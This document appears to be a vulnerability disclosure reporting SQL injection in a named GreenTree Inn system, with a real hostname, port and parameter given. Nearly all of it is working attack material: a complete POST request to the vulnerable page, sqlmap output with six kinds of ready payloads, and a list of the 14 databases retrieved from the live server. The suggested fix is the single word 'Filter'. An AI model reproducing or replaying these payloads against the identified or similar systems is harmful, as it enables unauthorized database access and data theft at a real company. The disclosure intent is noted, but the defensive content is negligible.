SQL Injection exists in an important system of GreenTree Inn

SQL Injection exists in an important system of GreenTree Inn

A certain important system in GreenTree Inn has 14 databases involved in SQL injection.

Problem:

POST /op/Module_ERP/UserActive.aspx?userid=1997* HTTP/1.1Host: system.greentree.com.cn:8080User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3DontTrackMeHere: gzip, deflateReferer: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997%27X-Forwarded-For: 'Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 218__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4OTM2NjcwNTBkZIHMoL2SEOkGJ5sSt21NlTiUkV%2B%2B&__EVENTVALIDATION=%2FwEWAwLJ06XnBwKvpuq2CALVo8avDihMEeCxnynpwiepj1kT%2FPDS8syL&username=%A1%AE&Submit1=%BC%A4%BB%EE

The address parameter userid submitted by the post package has been injected. [direct get injection cannot be successful. You must run it with the post package]

Place: URIParameter: #1*    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997 AND 2338=2338    Type: error-based    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997 AND 4834=CONVERT(INT,(CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) (SELECT (CASE WHEN (4834=4834) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(113) CHAR(119) CHAR(105) CHAR(58)))    Type: UNION query    Title: Generic UNION query (NULL) - 5 columns    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997 UNION ALL SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) CHAR(122) CHAR(116) CHAR(100) CHAR(65) CHAR(107) CHAR(117) CHAR(70) CHAR(100) CHAR(84) CHAR(97) CHAR(58) CHAR(113) CHAR(119) CHAR(105) CHAR(58),NULL,NULL,NULL,NULL--    Type: stacked queries    Title: Microsoft SQL Server/Sybase stacked queries    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997; WAITFOR DELAY '0:0:5'--    Type: AND/OR time-based blind    Title: Microsoft SQL Server/Sybase time-based blind    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997 WAITFOR DELAY '0:0:5'--    Type: inline query    Title: Microsoft SQL Server/Sybase inline queries    Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=(SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) (SELECT (CASE WHEN (8853=8853) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(113) CHAR(119) CHAR(105) CHAR(58))---[13:39:44] [INFO] testing Microsoft SQL Server[13:39:44] [INFO] confirming Microsoft SQL Server[13:39:44] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008[13:39:44] [INFO] fetching database names[13:39:45] [INFO] the SQL query used returns 14 entries[13:39:45] [INFO] retrieved: "DBA"[13:39:45] [INFO] retrieved: "GreenTree_OP"[13:39:45] [INFO] retrieved: "GTI_QA"[13:39:45] [INFO] retrieved: "kno"[13:39:46] [INFO] retrieved: "kno_qa"[13:39:46] [INFO] retrieved: "kno2"[13:39:46] [INFO] retrieved: "master"[13:39:46] [INFO] retrieved: "model"[13:39:47] [INFO] retrieved: "msdb"[13:39:47] [INFO] retrieved: "myOnlineExam"[13:39:47] [INFO] retrieved: "Northwind"[13:39:47] [INFO] retrieved: "pubs"[13:39:47] [INFO] retrieved: "tempdb"[13:39:48] [INFO] retrieved: "WebSite_Test"available databases [14]:[*] DBA[*] GreenTree_OP[*] GTI_QA[*] kno[*] kno2[*] kno_qa[*] master[*] model[*] msdb[*] myOnlineExam[*] Northwind[*] pubs[*] tempdb[*] WebSite_Test

 

Solution:

Filter